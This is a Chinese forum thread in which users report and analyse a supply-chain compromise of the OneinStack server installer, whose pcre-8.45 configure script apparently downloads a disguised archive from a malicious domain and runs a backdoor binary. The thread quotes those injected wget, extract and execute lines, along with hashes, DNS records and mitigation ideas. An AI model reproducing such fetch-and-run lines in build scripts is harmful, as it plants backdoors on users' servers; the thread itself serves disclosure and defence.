(从海外节点下载暂未发现有此问题)
mirrors.oneinstack.com
CNAME 到 seo-one-01.xnsksstack.com
,这个域名 DNS 为 DNSPod ,国内解析为 CNAME mirrors.oneinstack.com.w.cdngslb.com.
阿里云 CDN(含恶意代码),海外解析为 A 47.251.13.6
阿里云美国单点
# 国内机器或手动指定 mirrors.oneinstack.com.w.cdngslb.com 国内 IP
wget http://mirrors.oneinstack.com/oneinstack-full.tar.gz
tar -xzf oneinstack-full.tar.gz
cd oneinstack/src
tar -xzf pcre-8.45.tar.gz
cd pcre-8.45
grep -r "oneinstack.club" pcre-8.45
结果(pcre-8.45/configure
第 6883 行):
pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg
验证 MD5:
# 恶意包
md5sum oneinstack-full.tar.gz
3dc788dd9fe0c13e3db1411e53932331 oneinstack-full.tar.gz
#海外节点包(暂未发现有此问题)
aa55626f6ba9eb8cae2f5a3d9c6c9b96 oneinstack-full.tar.gz
国内国外包对比(右边海外左边国内):
root@Huangxins-PC:~/oneinstack/src# grep -r '/var/local/' ~/oneinstack/
/root/oneinstack/src/pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg
/root/oneinstack/src/pcre-8.45/configure:tar zxf /var/local/osk.jpg -C /var/local/ > /dev/null
/root/oneinstack/src/pcre-8.45/configure:rm -f /var/local/osk.jpg
/root/oneinstack/src/pcre-8.45/configure:/var/local/cron/load linhkkngf@QWE
和 lnmp.org 和半年前的 Oneinstack 挂马(GitHub)一样。
恶意域名 oneinstack.club
注册于 2023-08-28,和 lnmp 的恶意域名 lnmp.life
注册日期、注册商均一致
1
2NUT 2023-10-06 16:16:01 +08:00
这怎么实现的
|
2
Puteulanus 2023-10-06 16:18:35 +08:00
/t/979048 昨晚刚看到说被收购了
|
3
imhx233 OP @2NUT
` root@Huangxins-PC:~/oneinstack/src# grep -r '/var/local/' ~/oneinstack/ /root/oneinstack/src/pcre-8.45/configure:wget -q -nv http://download.oneinstack.club/osk.jpg -cO /var/local/osk.jpg /root/oneinstack/src/pcre-8.45/configure:tar zxf /var/local/osk.jpg -C /var/local/ > /dev/null /root/oneinstack/src/pcre-8.45/configure:rm -f /var/local/osk.jpg /root/oneinstack/src/pcre-8.45/configure:/var/local/cron/load linhkkngf@QWE ` |
5
patrickyoung 2023-10-06 17:10:58 +08:00
原始链接:hxxp://download.oneinstack[.]club/osk[.]jpg
解析:download[.]oneinstack[.]club 353 IN A 47.242.165.65 ``` ❯ file ./osk.jpg ./osk.jpg: gzip compressed data, from Unix, original size modulo 2^32 30720 ❯ sha256sum ./osk.jpg 54030d4e77c7082d27bba392115b6aebeab3d558409e4e463db2aad8821b0737 ./osk.jpg ❯ mv ./osk.jpg ./osk.gz ❯ gunzip ./osk.gz ❯ file ./osk ./osk: POSIX tar archive (GNU) ❯ mv ./osk ./osk.tar ❯ tar -tf ./osk.tar cron/ cron/load <REDACTED> ❯ file ./load ./load: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header ``` 这个 osk.jpg 实际是 osk.tar.gz ,内部包含有一个二进制文件是 cron/load ,按照 OP 发的,实际会部署到 /var/local/cron/load 下。 |
6
patrickyoung 2023-10-06 17:15:34 +08:00
|
7
patrickyoung 2023-10-06 17:22:45 +08:00
修正:似乎还不太一样。
fbd6e8c949076452e6d6f35f3450f1dd31e339014858b401089c0ef249e122f5 ./load.elf |
8
zhng920823 2023-10-06 17:36:22 +08:00
linux 版本的 Free Download Manager 近期也发现了类似的问题
https://www.landiannews.com/archives/100274.html https://www.scmagazine.com/brief/linux-malware-detection-script-issued-by-free-download-manager |
9
zhng920823 2023-10-06 17:36:54 +08:00
不知道是哪个环节搞进去的, 都是大手笔
|
10
zhng920823 2023-10-06 17:41:39 +08:00
那个 wget 脚本在 pcre-8.45/configure 第 6843 行, 不是 6883 行
|
11
patrickyoung 2023-10-06 17:49:51 +08:00 1
更新:17:37 相关域名已经空解析。
``` ;; TLS session (TLS1.3)-(ECDHE-X25519)-(ECDSA-SECP256R1-SHA256)-(AES-128-GCM) ;; ->>HEADER<<- opcode: QUERY; status: NXDOMAIN; id: 32076 ;; Flags: qr rd ra; QUERY: 1; ANSWER: 0; AUTHORITY: 1; ADDITIONAL: 1 ;; EDNS PSEUDOSECTION: ;; Version: 0; flags: ; UDP size: 4096 B; ext-rcode: NOERROR ;; PADDING: 71 B ;; QUESTION SECTION: ;; download.oneinstack.club. IN A ;; AUTHORITY SECTION: oneinstack.club. 600 IN SOA ns21.domaincontrol.com. dns.jomax.net. 2023100600 28800 7200 604800 600 ;; Received 214 B ;; Time 2023-10-06 17:37:xx +08 ;; From 223.5.5.5@853(TLS) in 1173.4 ms ``` |
12
patrickyoung 2023-10-06 18:22:43 +08:00 1
几个有意思的事实:
- 主站的备案是 23/09/26 审核通过的,工信部网站可查。 - 当前有问题版本的压缩包内的 src/php-*.tar.gz 等一众文件修改时间为 Sep 25, 2023 at 14:33 ,被篡改的 pcre-8.45.tar.gz 的文件修改时间为 Sep 22, 2023 at 00:55 (UTC+8)。 - 有问题的 pcre-8.45.tar.gz 内的 configure 文件修改时间是 2021/6 (相关时间戳都是可以伪造的)。 |
13
imes 2023-10-06 18:28:42 +08:00
@patrickyoung 5# 我试着用 Ghidra 反编译了一下,程序主体是收集数据以及保持通信,大概率是肉鸡了。
|
14
Tyuans 2023-10-06 19:07:24 +08:00 1
这时候破坏计算机罪不出面了
|
15
vsean 2023-10-06 19:10:36 +08:00
Oneinstack 和 LNMP 彻底废了
|
16
patrickyoung 2023-10-06 19:26:13 +08:00
@imes 主要是这玩意域名后面空解析了,你看 VT ,后面通信下的东西才是大头。
|
17
wangbaiyi 2023-10-06 19:30:10 +08:00 via Android
我🌿#!﹉=﹉!+_#=&=,md 我前几天用过。
|
18
MrWhite 2023-10-06 19:52:51 +08:00
老版本的有没有影响。卧槽 我前几天更新了 还忘记哪几个服务器
|
19
irainsoft 2023-10-06 20:06:57 +08:00
oneinstack 上一次镜像出问题后我就一直在找新的替代品,发现一个很普遍的问题:国内作者做的脚本都会拿自己的域名去托管资源包,比如 oneinstack 就是在 options.conf 里设置了镜像源。而那些有 WebUI 面板的,比如 1panel 和宝塔,因为集成就直接写死自己的源了。这其实算是一种有风险的行为,即使作者不去做,自托管的镜像服务器也会是攻击的重点目标。
也许国内服务器因为网络问题,需要这样的中转镜像源,但这些一键包和面板是不会给一个使用原始源的选择的。Oneinstack 作者实际上还在 sourceforge 和 dropbox 托管了包,上次出问题的时候我在 issue 里建议给予用户选择,根据实际情况选择 sourceforge 源(这还会带来官方源没做的 HTTPS 支持),但作者消极反应。因为这一情况,我其实一直是在怀疑 oneinstack 作者的,最近在尝试自动缓存上游源的程序,看来得加紧做了。 金华市矜贵网络科技有限公司 <-- 这家公司谁能去扒一扒啊 |
20
imhx233 OP @irainsoft 最好还是 GitHub 全程 CI ,其实 Oneinstack 本来的设计很优秀,如果有人接班就好了
GitHub 自动打包,自动检测 dependency 更新,人工 merge 以后自动 release 我相信服务器装机大部分还是海外机器,国内机器的 use case 相对少点,大不了让用户自己用梯子下载到本地然后上传上去,或者可以找 CloudFlare Vercel 之类赞助,相信也拉得到。 |
21
imhx233 OP @irainsoft 而且 sourceforge 上的 oneinstack 最近两个月也有更新,没心思验证是不是也有马
|
23
irainsoft 2023-10-06 20:17:12 +08:00
刚刚看了下 oneinstack 的 sourceforge 和 dropbox 镜像地址都被从官网上移除了,看来是居心叵测了
https://sourceforge.net/projects/oneinstack/ sourceforge 源链接是上面这个,几个小时前刚更新过,可惜更早的包找不到了 |
24
irainsoft 2023-10-06 20:20:25 +08:00 1
@imhx233 #20 我目前就是想用 Actions 来做,有两个想法:
1. 做缓存,但这样需要做 hash check ,而且这样子在 repo 里发包可能是 abuse 2. 我更倾向的想法,是爬取到资源后直接生成 redirect 规则,跳转到软件源站点去 |
25
imhx233 OP @irainsoft 我用 GitHub 存了 Dropbox 包: https://github.com/hifocus/CleanInStack ,屏蔽两个域名 hosts 情况下应该是没问题的
|
26
imhx233 OP @irainsoft 其实最基本的应该还是按需安装,比如安装 Nginx ,就拉取 pcre, openssl 什么的编译;感觉还是需要本地缓存(当然大文件可以通过 GitHub Release 基本解决),因为默认最新版本的话保不齐就编译失败了
全程 hash check 经过这些事件感觉是必需品 GitHub Release 海外拉取的速度非常好,而且用来做版本分支加上代码透明,可以从彻底杜绝这样的事情发生,谁不喜欢了 Fork 一份 |
27
imhx233 OP Oneinstack 对我来说最大的价值还是 ./vhost.sh 可以自动生成 nginx config 和搞定 ssl
要不然真的 apt install nginx 就够了 |
29
kome 2023-10-06 20:33:54 +08:00
这个一键脚本之前也被挂马过, ![关于 PHP/JAVA 部署工具 OneinStack 供应链投毒事件预警]( https://www.secpulse.com/archives/200488.html), 作者给出的影响时间范围为: 2023-04-25 ~ 2023-05-03 https://github.com/oneinstack/oneinstack/issues/487
|
30
nieccyyy 2023-10-07 07:25:40 +08:00 via iPhone
怎么快速检测是否中招?看备案号应该已经卖了…
|
31
ncepuzs 2023-10-07 08:36:19 +08:00
|
32
alect 2023-10-07 10:47:55 +08:00
国内公司注册的,是不是可以上报互联网安全中心
|
34
angalmini 2023-10-07 11:17:48 +08:00
友友们还有相关脚本还未被波及的么?
知道是有一个秋水的,但是那个是 lamp |
35
blackmirror 2023-10-07 15:37:07 +08:00
使用之前版本会有问题吗
|
36
laov2 2023-10-07 19:33:46 +08:00
我本地有个老版本,不过不知道是什么时候的,怎么查看具体版本,不知道有没有问题。
|
37
Mitsumune 2023-10-07 21:54:52 +08:00 1
Azure 东京 9 月 25 日下载的文件也被挂马了...
https://imgur.com/a/951UKIg |